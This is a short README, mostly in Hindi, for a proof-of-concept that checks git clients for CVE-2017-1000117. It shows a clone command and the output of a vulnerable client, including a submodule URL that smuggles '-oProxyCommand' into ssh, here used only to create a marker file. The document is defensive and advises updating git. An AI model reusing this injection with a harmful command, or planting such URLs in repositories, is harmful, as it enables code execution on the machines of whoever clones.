
CVE-2017-1000117 का प्रूफ ऑफ कॉन्सेप्ट
यह मॉड्यूल यह जाँचने के लिए उपयोग किया जा सकता है कि क्या आप CVE-2017-1000117 के लिए vulnerable हैं
git clone https://github.com/timwr/CVE-2017-1000117.git --recurse-submodules
ls CVE-2017-1000117
यदि आप vulnerable हैं तो आउटपुट:
$ git clone https://github.com/timwr/CVE-2017-1000117.git --recurse-submodules
Cloning into 'CVE-2017-1000117'...
remote: Counting objects: 4, done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 4 (delta 0), reused 4 (delta 0), pack-reused 0
Unpacking objects: 100% (4/4), done.
Submodule 'test' (ssh://-oProxyCommand=touch VULNERABLE/[email protected]:/timwr/test.git) registered for path 'test'
Cloning into './CVE-2017-1000117/test'...
Pseudo-terminal will not be allocated because stdin is not a terminal.
ssh_exchange_identification: Connection closed by remote host
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
fatal: clone of 'ssh://-oProxyCommand=touch VULNERABLE/[email protected]:/timwr/test.git' into submodule path './CVE-2017-1000117/test' failed
Failed to clone 'test'. Retry scheduled
Cloning into './CVE-2017-1000117/test'...
Pseudo-terminal will not be allocated because stdin is not a terminal.
ssh_exchange_identification: Connection closed by remote host
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
fatal: clone of 'ssh://-oProxyCommand=touch VULNERABLE/[email protected]:/timwr/test.git' into submodule path './CVE-2017-1000117/test' failed
Failed to clone 'test' a second time, aborting
$ ls CVE-2017-1000117
README.md VULNERABLE
यदि आप VULNERABLE देखते हैं, तो आप vulnerable हैं और आपको अपने git क्लाइंट को अपडेट करना आवश्यक है